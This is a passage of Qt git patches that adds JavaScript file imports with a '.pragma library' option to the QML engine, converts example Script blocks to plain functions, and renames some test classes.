(board.children[i].state == "") { - openA[acc] = i; - acc += 1; - } - var choice = openA[Math.floor(Math.random() * open)]; - makeMove(choice, "O"); - } - - function win(s) - { - msg.text = s - msg.opacity = 1 - endtimer.running = true - } - } - Timer { id: endtimer interval: 1600 - onTriggered: { msg.opacity = 0; restart() } + onTriggered: { msg.opacity = 0; Logic.restart() } } } diff --git a/examples/declarative/webview/content/FieldText.qml b/examples/declarative/webview/content/FieldText.qml index d282209..1da9219 100644 --- a/examples/declarative/webview/content/FieldText.qml +++ b/examples/declarative/webview/content/FieldText.qml @@ -10,30 +10,26 @@ Item { signal cancelled signal startEdit - Script { - - function edit() { - if (!mouseGrabbed) { - fieldText.startEdit(); - fieldText.state='editing'; - mouseGrabbed=true; - } - } - - function confirm() { - fieldText.state=''; - fieldText.text = textEdit.text; - mouseGrabbed=false; - fieldText.confirmed(); + function edit() { + if (!mouseGrabbed) { + fieldText.startEdit(); + fieldText.state='editing'; + mouseGrabbed=true; } + } - function reset() { - textEdit.text = fieldText.text; - fieldText.state=''; - mouseGrabbed=false; - fieldText.cancelled(); - } + function confirm() { + fieldText.state=''; + fieldText.text = textEdit.text; + mouseGrabbed=false; + fieldText.confirmed(); + } + function reset() { + textEdit.text = fieldText.text; + fieldText.state=''; + mouseGrabbed=false; + fieldText.cancelled(); } Image { diff --git a/examples/declarative/webview/content/SpinSquare.qml b/examples/declarative/webview/content/SpinSquare.qml index 466c99e..b65a29d 100644 --- a/examples/declarative/webview/content/SpinSquare.qml +++ b/examples/declarative/webview/content/SpinSquare.qml @@ -15,7 +15,7 @@ Item { width: root.width height: width } - rotation: NumberAnimation { + NumberAnimation on rotation { from: 0 to: 360 repeat: true diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 103e918..28c2210 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -542,8 +542,8 @@ void QDeclarativeCompiler::reset(QDeclarativeCompiledData *data) on a successful compiler. */ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine, - QDeclarativeCompositeTypeData *unit, - QDeclarativeCompiledData *out) + QDeclarativeCompositeTypeData *unit, + QDeclarativeCompiledData *out) { exceptions.clear(); @@ -633,6 +633,37 @@ void QDeclarativeCompiler::compileTree(Object *tree) init.init.compiledBinding = output->indexForByteArray(compileState.compiledBindingData); output->bytecode << init; + // Build global import scripts + QHash importedScripts; + QStringList importedScriptIndexes; + + for (int ii = 0; ii < unit->scripts.count(); ++ii) { + QString scriptCode = QString::fromUtf8(unit->scripts.at(ii).resource->data); + Object::ScriptBlock::Pragmas pragmas = QDeclarativeScriptParser::extractPragmas(scriptCode); + + if (!scriptCode.isEmpty()) { + Object::ScriptBlock &scriptBlock = importedScripts[unit->scripts.at(ii).qualifier]; + + scriptBlock.codes.append(scriptCode); + scriptBlock.lineNumbers.append(1); + scriptBlock.files.append(unit->scripts.at(ii).resource->url); + scriptBlock.pragmas.append(pragmas); + } + } + + for (QHash::Iterator iter = importedScripts.begin(); + iter != importedScripts.end(); ++iter) { + + importedScriptIndexes.append(iter.key()); + + QDeclarativeInstruction import; + import.type = QDeclarativeInstruction::StoreImportedScript; + import.line = 0; + import.storeScript.value = output->scripts.count(); + output->scripts << *iter; + output->bytecode << import; + } + genObject(tree); QDeclarativeInstruction def; @@ -641,7 +672,13 @@ void QDeclarativeCompiler::compileTree(Object *tree) output->bytecode << def; output->imports = unit->imports; - output->importCache = output->imports.cache(engine); + + output->importCache = new QDeclarativeTypeNameCache(engine); + + for (int ii = 0; ii < importedScriptIndexes.count(); ++ii) + output->importCache->add(importedScriptIndexes.at(ii), ii); + + output->imports.cache(output->importCache, engine); Q_ASSERT(tree->metatype); @@ -1153,6 +1190,8 @@ bool QDeclarativeCompiler::buildComponent(QDeclarativeParser::Object *obj, bool QDeclarativeCompiler::buildScript(QDeclarativeParser::Object *obj, QDeclarativeParser::Object *script) { + qWarning().nospace() << qPrintable(output->url.toString()) << ":" << obj->location.start.line << ":" << obj->location.start.column << ": Script blocks have been deprecated. Support will be removed entirely shortly."; + Object::ScriptBlock scriptBlock; if (script->properties.count() == 1 && @@ -1184,6 +1223,7 @@ bool QDeclarativeCompiler::buildScript(QDeclarativeParser::Object *obj, QDeclara scriptBlock.codes.append(scriptCode); scriptBlock.files.append(sourceUrl); scriptBlock.lineNumbers.append(lineNumber); + scriptBlock.pragmas.append(Object::ScriptBlock::None); } } @@ -1226,6 +1266,7 @@ bool QDeclarativeCompiler::buildScript(QDeclarativeParser::Object *obj, QDeclara scriptBlock.codes.append(scriptCode); scriptBlock.files.append(sourceUrl); scriptBlock.lineNumbers.append(lineNumber); + scriptBlock.pragmas.append(Object::ScriptBlock::None); } } diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index ec595e3..ec23458 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -612,6 +612,11 @@ QDeclarativeComponentPrivate::beginCreate(QDeclarativeContextData *context, cons ctxt->isInternal = true; ctxt->url = cc->url; ctxt->imports = cc->importCache; + + // Nested global imports + if (creationContext && start != -1) + ctxt->importedScripts = creationContext->importedScripts; + cc->importCache->addref(); ctxt->setParent(context); diff --git a/src/declarative/qml/qdeclarativecomponent_p.h b/src/declarative/qml/qdeclarativecomponent_p.h index 649fce5..b44aeef 100644 --- a/src/declarative/qml/qdeclarativecomponent_p.h +++ b/src/declarative/qml/qdeclarativecomponent_p.h @@ -116,7 +116,7 @@ public: static void complete(QDeclarativeEnginePrivate *enginePriv, ConstructionState *state); QDeclarativeEngine *engine; - QDeclarativeContextData *creationContext; + QDeclarativeGuardedContextData creationContext; void clear(); diff --git a/src/declarative/qml/qdeclarativecompositetypedata_p.h b/src/declarative/qml/qdeclarativecompositetypedata_p.h index fb26af9..04d0c63 100644 --- a/src/declarative/qml/qdeclarativecompositetypedata_p.h +++ b/src/declarative/qml/qdeclarativecompositetypedata_p.h @@ -103,7 +103,16 @@ public: QDeclarativeCompositeTypeData *unit; }; + struct ScriptReference + { + ScriptReference(); + + QString qualifier; + QDeclarativeCompositeTypeResource *resource; + }; + QList types; + QList scripts; QList resources; // Add or remove p as a waiter. When the QDeclarativeCompositeTypeData becomes diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index ebf1f40..c883805 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -126,6 +126,27 @@ QDeclarativeCompositeTypeData::toCompiledComponent(QDeclarativeEngine *engine) { if (status == Complete && !compiledComponent) { + // Build script imports + foreach (const QDeclarativeScriptParser::Import &import, data.imports()) { + if (import.type == QDeclarativeScriptParser::Import::Script) { + QString url = imports.baseUrl().resolved(QUrl(import.uri)).toString(); + + ScriptReference ref; + ref.qualifier = import.qualifier; + + for (int ii = 0; ii < resources.count(); ++ii) { + if (resources.at(ii)->url == url) { + ref.resource = resources.at(ii); + break; + } + } + + Q_ASSERT(ref.resource); + + scripts << ref; + } + } + compiledComponent = new QDeclarativeCompiledData(engine); compiledComponent->url = imports.baseUrl(); compiledComponent->name = compiledComponent->url.toString(); @@ -153,6 +174,11 @@ QDeclarativeCompositeTypeData::TypeReference::TypeReference() { } +QDeclarativeCompositeTypeData::ScriptReference::ScriptReference() +: resource(0) +{ +} + QDeclarativeCompositeTypeManager::QDeclarativeCompositeTypeManager(QDeclarativeEngine *e) : engine(e), redirectCount(0) { @@ -514,6 +540,9 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData foreach (QDeclarativeScriptParser::Import imp, unit->data.imports()) { QDeclarativeDirComponents qmldircomponentsnetwork; + if (imp.type == QDeclarativeScriptParser::Import::Script) + continue; + if (imp.type == QDeclarativeScriptParser::Import::File && imp.qualifier.isEmpty()) { QString importUrl = unit->imports.baseUrl().resolved(QUrl(imp.uri + QLatin1String("/qmldir"))).toString(); for (int ii = 0; ii < unit->resources.count(); ++ii) { diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index 782c0d7..85896c4 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -606,6 +606,75 @@ void QDeclarativeContextData::addObject(QObject *o) contextObjects = data; } +void QDeclarativeContextData::addImportedScript(const QDeclarativeParser::Object::ScriptBlock &script) +{ + if (!engine) + return; + + Q_ASSERT(script.codes.count() == 1); + + QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine); + QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine); + + const QString &code = script.codes.at(0); + const QString &url = script.files.at(0); + const QDeclarativeParser::Object::ScriptBlock::Pragmas &pragmas = script.pragmas.at(0); + + Q_ASSERT(!url.isEmpty()); + + if (pragmas & QDeclarativeParser::Object::ScriptBlock::Shared) { + + QHash::Iterator iter = enginePriv->m_sharedScriptImports.find(url); + if (iter == enginePriv->m_sharedScriptImports.end()) { + QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(scriptEngine); + + scriptContext->pushScope(enginePriv->globalClass->globalObject()); + + QScriptValue scope = scriptEngine->newObject(); + scriptContext->setActivationObject(scope); + scriptContext->pushScope(scope); + + scriptEngine->evaluate(code, url, 1); + + if (scriptEngine->hasUncaughtException()) { + QDeclarativeError error; + QDeclarativeExpressionPrivate::exceptionToError(scriptEngine, error); + qWarning().nospace() << qPrintable(error.toString()); + } + + scriptEngine->popContext(); + + iter = enginePriv->m_sharedScriptImports.insert(url, scope); + } + + importedScripts.append(*iter); + + } else { + + QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(scriptEngine); + + scriptContext->pushScope(enginePriv->contextClass->newContext(this, 0)); + scriptContext->pushScope(enginePriv->globalClass->globalObject()); + + QScriptValue scope = scriptEngine->newObject(); + scriptContext->setActivationObject(scope); + scriptContext->pushScope(scope); + + scriptEngine->evaluate(code, url, 1); + + if (scriptEngine->hasUncaughtException()) { + QDeclarativeError error; + QDeclarativeExpressionPrivate::exceptionToError(scriptEngine, error); + qWarning().nospace() << qPrintable(error.toString()); + } + + scriptEngine->popContext(); + + importedScripts.append(scope); + + } +} + void QDeclarativeContextData::addScript(const QDeclarativeParser::Object::ScriptBlock &script, QObject *scopeObject) { diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index d74aa33..ecf3ec8 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -141,6 +141,8 @@ public: // Any script blocks that exist on this context QList scripts; + QList importedScripts; + void addImportedScript(const QDeclarativeParser::Object::ScriptBlock &script); void addScript(const QDeclarativeParser::Object::ScriptBlock &script, QObject *scopeObject); // Context base url diff --git a/src/declarative/qml/qdeclarativecontextscriptclass.cpp b/src/declarative/qml/qdeclarativecontextscriptclass.cpp index 847d632..2559224 100644 --- a/src/declarative/qml/qdeclarativecontextscriptclass.cpp +++ b/src/declarative/qml/qdeclarativecontextscriptclass.cpp @@ -240,10 +240,19 @@ QDeclarativeContextScriptClass::property(Object *object, const Identifier &name) } else if (lastData) { - if (lastData->type) + if (lastData->type) { return Value(scriptEngine, ep->typeNameClass->newObject(bindContext->contextObject, lastData->type)); - else - return Value(scriptEngine, ep->typeNameClass->newObject(bindContext->contextObject, lastData->typeNamespace)); + } else if (lastData->typeNamespace) { + return Value(scriptEngine, ep->typeNameClass->newObject(bindContext->contextObject, + lastData->typeNamespace)); + } else { + int index = lastData->importedScriptIndex; + if (index < bindContext->importedScripts.count()) { + return Value(scriptEngine, bindContext->importedScripts.at(index)); + } else { + return Value(); + } + } } else if (lastPropertyIndex != -1) { @@ -266,7 +275,6 @@ QDeclarativeContextScriptClass::property(Object *object, const Identifier &name) ep->capturedProperties << QDeclarativeEnginePrivate::CapturedProperty(bindContext->asQDeclarativeContext(), -1, lastPropertyIndex + cp->notifyIndex); } - return Value(scriptEngine, rv); } else { diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 5820961..0bedbeb 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1695,12 +1695,10 @@ static QDeclarativeTypeNameCache *cacheForNamespace(QDeclarativeEngine *engine, return cache; } -QDeclarativeTypeNameCache *QDeclarativeEnginePrivate::Imports::cache(QDeclarativeEngine *engine) const +void QDeclarativeEnginePrivate::Imports::cache(QDeclarativeTypeNameCache *cache, QDeclarativeEngine *engine) const { const QDeclarativeEnginePrivate::ImportedNamespace &set = d->unqualifiedset; - QDeclarativeTypeNameCache *cache = new QDeclarativeTypeNameCache(engine); - for (QHash::ConstIterator iter = d->set.begin(); iter != d->set.end(); ++iter) { @@ -1716,8 +1714,6 @@ QDeclarativeTypeNameCache *QDeclarativeEnginePrivate::Imports::cache(QDeclarativ } cacheForNamespace(engine, set, cache); - - return cache; } /* diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index 4ab619e..6532d30 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -264,7 +264,7 @@ public: void setBaseUrl(const QUrl& url); QUrl baseUrl() const; - QDeclarativeTypeNameCache *cache(QDeclarativeEngine *) const; + void cache(QDeclarativeTypeNameCache *cache, QDeclarativeEngine *) const; private: friend class QDeclarativeEnginePrivate; @@ -281,7 +281,9 @@ public: QString resolvePlugin(const QDir &dir, const QString &baseName); - bool addToImport(Imports*, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const; + bool addToImport(Imports*, const QDeclarativeDirComponents &qmldircomponentsnetwork, + const QString& uri, const QString& prefix, int vmaj, int vmin, + QDeclarativeScriptParser::Import::Type importType) const; bool resolveType(const Imports&, const QByteArray& type, QDeclarativeType** type_return, QUrl* url_return, int *version_major, int *version_minor, @@ -303,6 +305,8 @@ public: QHash m_qmlLists; QHash m_compositeTypes; + QHash m_sharedScriptImports; + QScriptValue scriptValueFromVariant(const QVariant &); QVariant scriptValueToVariant(const QScriptValue &); diff --git a/src/declarative/qml/qdeclarativeinstruction.cpp b/src/declarative/qml/qdeclarativeinstruction.cpp index a23ff75..9083ab3 100644 --- a/src/declarative/qml/qdeclarativeinstruction.cpp +++ b/src/declarative/qml/qdeclarativeinstruction.cpp @@ -144,6 +144,9 @@ void QDeclarativeCompiledData::dump(QDeclarativeInstruction *instr, int idx) case QDeclarativeInstruction::StoreScript: qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_SCRIPT\t\t" << instr->storeScript.value; break; + case QDeclarativeInstruction::StoreImportedScript: + qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_IMPORTED_SCRIPT\t" << instr->storeScript.value; + break; case QDeclarativeInstruction::StoreScriptString: qWarning().nospace() << idx << "\t\t" << line << "\t" << "STORE_SCRIPT_STRING\t" << instr->storeScriptString.propertyIndex << "\t" << instr->storeScriptString.value << "\t" << instr->storeScriptString.scope; break; diff --git a/src/declarative/qml/qdeclarativeinstruction_p.h b/src/declarative/qml/qdeclarativeinstruction_p.h index ec32b35..877179d 100644 --- a/src/declarative/qml/qdeclarativeinstruction_p.h +++ b/src/declarative/qml/qdeclarativeinstruction_p.h @@ -119,6 +119,7 @@ public: StoreSignal, /* storeSignal */ StoreScript, /* storeScript */ + StoreImportedScript, /* storeScript */ StoreScriptString, /* storeScriptString */ // diff --git a/src/declarative/qml/qdeclarativeparser_p.h b/src/declarative/qml/qdeclarativeparser_p.h index 9dfb86b..476b027 100644 --- a/src/declarative/qml/qdeclarativeparser_p.h +++ b/src/declarative/qml/qdeclarativeparser_p.h @@ -179,9 +179,16 @@ namespace QDeclarativeParser // Script blocks that were nested under this object struct ScriptBlock { + enum Pragma { + None = 0x00000000, + Shared = 0x00000001 + }; + Q_DECLARE_FLAGS(Pragmas, Pragma) + QStringList codes; QStringList files; QList lineNumbers; + QList pragmas; }; QList scripts; @@ -360,6 +367,8 @@ namespace QDeclarativeParser }; } +Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeParser::Object::ScriptBlock::Pragmas); + QT_END_NAMESPACE Q_DECLARE_METATYPE(QDeclarativeParser::Variant) diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index 2578ff4..49bd3b7 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -441,8 +441,14 @@ bool ProcessAST::visit(AST::UiImport *node) QDeclarativeScriptParser::Import import; if (node->fileName) { - import.type = QDeclarativeScriptParser::Import::File; uri = node->fileName->asString(); + + if (uri.endsWith(QLatin1String(".js"))) { + import.type = QDeclarativeScriptParser::Import::Script; + _parser->_refUrls << QUrl(uri); + } else { + import.type = QDeclarativeScriptParser::Import::File; + } } else { import.type = QDeclarativeScriptParser::Import::Library; uri = asString(node->importUri); @@ -451,6 +457,7 @@ bool ProcessAST::visit(AST::UiImport *node) AST::SourceLocation startLoc = node->importToken; AST::SourceLocation endLoc = node->semicolonToken; + // Qualifier if (node->importId) { import.qualifier = node->importId->asString(); if (!import.qualifier.at(0).isUpper()) { @@ -461,17 +468,43 @@ bool ProcessAST::visit(AST::UiImport *node) _parser->_errors << error; return false; } + + // Check for script qualifier clashes + bool isScript = import.type == QDeclarativeScriptParser::Import::Script; + for (int ii = 0; ii < _parser->_imports.count(); ++ii) { + const QDeclarativeScriptParser::Import &other = _parser->_imports.at(ii); + bool otherIsScript = other.type == QDeclarativeScriptParser::Import::Script; + + if ((isScript || otherIsScript) && import.qualifier == other.qualifier) { + QDeclarativeError error; + error.setDescription(QCoreApplication::translate("QDeclarativeParser","Script import qualifiers must be unique.")); + error.setLine(node->importIdToken.startLine); + error.setColumn(node->importIdToken.startColumn); + _parser->_errors << error; + return false; + } + } + + } else if (import.type == QDeclarativeScriptParser::Import::Script) { + QDeclarativeError error; + error.setDescription(QCoreApplication::translate("QDeclarativeParser","Script import requires a qualifier")); + error.setLine(node->importIdToken.startLine); + error.setColumn(node->importIdToken.startColumn); + _parser->_errors << error; + return false; } - if (node->versionToken.isValid()) + + if (node->versionToken.isValid()) { import.version = textAt(node->versionToken); - else if (import.type == QDeclarativeScriptParser::Import::Library) { + } else if (import.type == QDeclarativeScriptParser::Import::Library) { QDeclarativeError error; error.setDescription(QCoreApplication::translate("QDeclarativeParser","Library import requires a version")); error.setLine(node->importIdToken.startLine); error.setColumn(node->importIdToken.startColumn); _parser->_errors << error; return false; - } + } + import.location = location(startLoc, endLoc); import.uri = uri; @@ -934,6 +967,95 @@ QList QDeclarativeScriptParser::errors() const return _errors; } +/* +Searches for ".pragma " declarations within \a script. Currently supported pragmas +are: + library +*/ +QDeclarativeParser::Object::ScriptBlock::Pragmas QDeclarativeScriptParser::extractPragmas(QString &script) +{ + QDeclarativeParser::Object::ScriptBlock::Pragmas rv = QDeclarativeParser::Object::ScriptBlock::None; + + const QChar forwardSlash(QLatin1Char('/')); + const QChar star(QLatin1Char('*')); + const QChar newline(QLatin1Char('\n')); + const QChar dot(QLatin1Char('.')); + const QChar semicolon(QLatin1Char(';')); + const QChar space(QLatin1Char(' ')); + const QString pragma(QLatin1String(".pragma ")); + + const QChar *pragmaData = pragma.constData(); + + const QChar *data = script.constData(); + const int length = script.count(); + for (int ii = 0; ii < length; ++ii) { + const QChar &c = data[ii]; + + if (c.isSpace()) + continue; + + if (c == forwardSlash) { + ++ii; + if (ii >= length) + return rv; + + const QChar &c = data[ii]; + if (c == forwardSlash) { + // Find next newline + while (ii < length && data[++ii] != newline) {}; + } else if (c == star) { + // Find next star + while (true) { + while (ii < length && data[++ii] != star) {}; + if (ii + 1 >= length) + return rv; + + if (data[ii + 1] == forwardSlash) { + ++ii; + break; + } + } + } else { + return rv; + } + } else if (c == dot) { + // Could be a pragma! + if (ii + pragma.length() >= length || + 0 != ::memcmp(data + ii, pragmaData, sizeof(QChar) * pragma.length())) + return rv; + + int pragmaStatementIdx = ii; + + ii += pragma.length(); + + while (ii < length && data[ii].isSpace()) { ++ii; } + + int startIdx = ii; + + while (ii < length && data[ii].isLetter()) { ++ii; } + + int endIdx = ii; + + if (ii != length && data[ii] != forwardSlash && !data[ii].isSpace() && data[ii] != semicolon) + return rv; + + QString p(data + startIdx, endIdx - startIdx); + + if (p == QLatin1String("library")) + rv |= QDeclarativeParser::Object::ScriptBlock::Shared; + else + return rv; + + for (int jj = pragmaStatementIdx; jj < endIdx; ++jj) script[jj] = space; + + } else { + return rv; + } + } + + return rv; +} + void QDeclarativeScriptParser::clear() { if (root) { diff --git a/src/declarative/qml/qdeclarativescriptparser_p.h b/src/declarative/qml/qdeclarativescriptparser_p.h index b8f77d1..68f1840 100644 --- a/src/declarative/qml/qdeclarativescriptparser_p.h +++ b/src/declarative/qml/qdeclarativescriptparser_p.h @@ -75,7 +75,7 @@ public: public: Import() : type(Library) {} - enum Type { Library, File }; + enum Type { Library, File, Script }; Type type; QString uri; @@ -112,6 +112,8 @@ public: QList errors() const; + static QDeclarativeParser::Object::ScriptBlock::Pragmas extractPragmas(QString &); + // ### private: TypeReference *findOrCreateType(const QString &name); void setTree(QDeclarativeParser::Object *tree); diff --git a/src/declarative/qml/qdeclarativetypenamecache.cpp b/src/declarative/qml/qdeclarativetypenamecache.cpp index f94f944..c4a8707 100644 --- a/src/declarative/qml/qdeclarativetypenamecache.cpp +++ b/src/declarative/qml/qdeclarativetypenamecache.cpp @@ -63,6 +63,21 @@ void QDeclarativeTypeNameCache::clear() engine = 0; } +void QDeclarativeTypeNameCache::add(const QString &name, int importedScriptIndex) +{ + if (stringCache.contains(name)) + return; + + QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine); + + RData *data = new RData; + // ### Use typename class + data->identifier = ep->objectClass->createPersistentIdentifier(name); + data->importedScriptIndex = importedScriptIndex; + stringCache.insert(name, data); + identifierCache.insert(data->identifier.identifier, data); +} + void QDeclarativeTypeNameCache::add(const QString &name, QDeclarativeType *type) { if (stringCache.contains(name)) diff --git a/src/declarative/qml/qdeclarativetypenamecache_p.h b/src/declarative/qml/qdeclarativetypenamecache_p.h index eee5b77..3e24f5c 100644 --- a/src/declarative/qml/qdeclarativetypenamecache_p.h +++ b/src/declarative/qml/qdeclarativetypenamecache_p.h @@ -73,8 +73,10 @@ public: inline ~Data(); QDeclarativeType *type; QDeclarativeTypeNameCache *typeNamespace; + int importedScriptIndex; }; + void add(const QString &, int); void add(const QString &, QDeclarativeType *); void add(const QString &, QDeclarativeTypeNameCache *); @@ -97,7 +99,7 @@ private: }; QDeclarativeTypeNameCache::Data::Data() -: type(0), typeNamespace(0) +: type(0), typeNamespace(0), importedScriptIndex(-1) { } diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp index b3144a8..2338bc3 100644 --- a/src/declarative/qml/qdeclarativevme.cpp +++ b/src/declarative/qml/qdeclarativevme.cpp @@ -259,8 +259,9 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, case QDeclarativeInstruction::CreateComponent: { - QObject *qcomp = new QDeclarativeComponent(ctxt->engine, comp, ii + 1, instr.createComponent.count, - stack.isEmpty() ? 0 : stack.top()); + QDeclarativeComponent *qcomp = + new QDeclarativeComponent(ctxt->engine, comp, ii + 1, instr.createComponent.count, + stack.isEmpty() ? 0 : stack.top()); QDeclarativeDeclarativeData *ddata = QDeclarativeDeclarativeData::get(qcomp, true); Q_ASSERT(ddata); @@ -275,6 +276,8 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, ddata->lineNumber = instr.line; ddata->columnNumber = instr.create.column; + QDeclarativeComponentPrivate::get(qcomp)->creationContext = ctxt; + stack.push(qcomp); ii += instr.createComponent.count; } @@ -581,6 +584,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, } break; + case QDeclarativeInstruction::StoreImportedScript: + { + ctxt->addImportedScript(scripts.at(instr.storeScript.value)); + } + break; + case QDeclarativeInstruction::StoreScriptString: { QObject *target = stack.top(); diff --git a/tools/qml/content/Browser.qml b/tools/qml/content/Browser.qml index 62996ef..391ded8 100644 --- a/tools/qml/content/Browser.qml +++ b/tools/qml/content/Browser.qml @@ -22,38 +22,36 @@ Rectangle { SystemPalette { id: palette } - Script { - function down(path) { - if (folders == folders1) { - view = view2 - folders = folders2; - view1.state = "exitLeft"; - } else { - view = view1 - folders = folders1; - view2.state = "exitLeft"; - } - view.x = root.width; - view.state = "current"; - view.focus = true; - folders.folder = path; + function down(path) { + if (folders == folders1) { + view = view2 + folders = folders2; + view1.state = "exitLeft"; + } else { + view = view1 + folders = folders1; + view2.state = "exitLeft"; } - function up() { - var path = folders.parentFolder; - if (folders == folders1) { - view = view2 - folders = folders2; - view1.state = "exitRight"; - } else { - view = view1 - folders = folders1; - view2.state = "exitRight"; - } - view.x = -root.width; - view.state = "current"; - view.focus = true; - folders.folder = path; + view.x = root.width; + view.state = "current"; + view.focus = true; + folders.folder = path; + } + function up() { + var path = folders.parentFolder; + if (folders == folders1) { + view = view2 + folders = folders2; + view1.state = "exitRight"; + } else { + view = view1 + folders = folders1; + view2.state = "exitRight"; } + view.x = -root.width; + view.state = "current"; + view.focus = true; + folders.folder = path; } Component { -- cgit v0.12 From 9490f107983197ca86e959d6470bd829a17642e5 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 22 Mar 2010 16:22:33 +1000 Subject: Compile in namespace --- src/declarative/graphicsitems/qdeclarativepath.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp index 20fa983..8cd990fc 100644 --- a/src/declarative/graphicsitems/qdeclarativepath.cpp +++ b/src/declarative/graphicsitems/qdeclarativepath.cpp @@ -43,6 +43,7 @@ #include "qdeclarativepath_p_p.h" #include +#include #include @@ -312,7 +313,6 @@ QStringList QDeclarativePath::attributes() const Q_D(const QDeclarativePath); return d->_attributes; } -#include static inline QBezier nextBezier(const QPainterPath &path, int *from, qreal *bezLength) { -- cgit v0.12 From 6b366d4f26ed088f7edcc4b74f56cdbdc7a15024 Mon Sep 17 00:00:00 2001 From: Rohan McGovern Date: Mon, 22 Mar 2010 16:40:45 +1000 Subject: Fixed inconsistent test naming. TARGET and test class name should always match. Backport 91ebcc413f0650ab235b93689776d4457bdbc80e from 4.7 --- tests/auto/qfiledialog2/tst_qfiledialog2.cpp | 76 +++++----- .../tst_qtconcurrentiteratekernel.cpp | 22 +-- tests/auto/qtconcurrentmap/tst_qtconcurrentmap.cpp | 62 ++++---- tests/auto/qtconcurrentrun/tst_qtconcurrentrun.cpp | 22 +-- .../tst_qtconcurrentthreadengine.cpp | 24 +-- tests/auto/qvectornd/tst_qvectornd.cpp | 166 ++++++++++----------- .../tst_xmlpatternsdiagnosticsts.cpp | 10 +- 7 files changed, 191 insertions(+), 191 deletions(-) diff --git a/tests/auto/qfiledialog2/tst_qfiledialog2.cpp b/tests/auto/qfiledialog2/tst_qfiledialog2.cpp index f2e1dbd..6bfa8be 100644 --- a/tests/auto/qfiledialog2/tst_qfiledialog2.cpp +++ b/tests/auto/qfiledialog2/tst_qfiledialog2.cpp @@ -87,13 +87,13 @@ public: } }; -class tst_QFiledialog : public QObject +class tst_QFileDialog2 : public QObject { Q_OBJECT public: - tst_QFiledialog(); - virtual ~tst_QFiledialog(); + tst_QFileDialog2(); + virtual ~tst_QFileDialog2(); public slots: void init(); @@ -138,18 +138,18 @@ private: QByteArray userSettings; }; -tst_QFiledialog::tst_QFiledialog() +tst_QFileDialog2::tst_QFileDialog2() { #if defined(Q_OS_WINCE) qApp->setAutoMaximizeThreshold(-1); #endif } -tst_QFiledialog::~tst_QFiledialog() +tst_QFileDialog2::~tst_QFileDialog2() { } -void tst_QFiledialog::init() +void tst_QFileDialog2::init() { // Save the developers settings so they don't get mad when their sidebar folders are gone. QSettings settings(QSettings::UserScope, QLatin1String("Trolltech")); @@ -164,14 +164,14 @@ void tst_QFiledialog::init() #endif } -void tst_QFiledialog::cleanup() +void tst_QFileDialog2::cleanup() { QSettings settings(QSettings::UserScope, QLatin1String("Trolltech")); settings.beginGroup(QLatin1String("Qt")); settings.setValue(QLatin1String("filedialog"), userSettings); } -void tst_QFiledialog::listRoot() +void tst_QFileDialog2::listRoot() { #if defined QT_BUILD_INTERNAL QFileInfoGatherer fileInfoGatherer; @@ -193,7 +193,7 @@ void tst_QFiledialog::listRoot() #endif } -void tst_QFiledialog::heapCorruption() +void tst_QFileDialog2::heapCorruption() { QVector dialogs; for (int i=0; i < 10; i++) { @@ -205,12 +205,12 @@ void tst_QFiledialog::heapCorruption() struct FriendlyQFileDialog : public QNonNativeFileDialog { - friend class tst_QFileDialog; + friend class tst_QFileDialog2; Q_DECLARE_PRIVATE(QFileDialog) }; -void tst_QFiledialog::deleteDirAndFiles() +void tst_QFileDialog2::deleteDirAndFiles() { #if defined QT_BUILD_INTERNAL QString tempPath = QDir::tempPath() + '/' + "QFileDialogTestDir4FullDelete"; @@ -242,7 +242,7 @@ void tst_QFiledialog::deleteDirAndFiles() #endif } -void tst_QFiledialog::filter() +void tst_QFileDialog2::filter() { 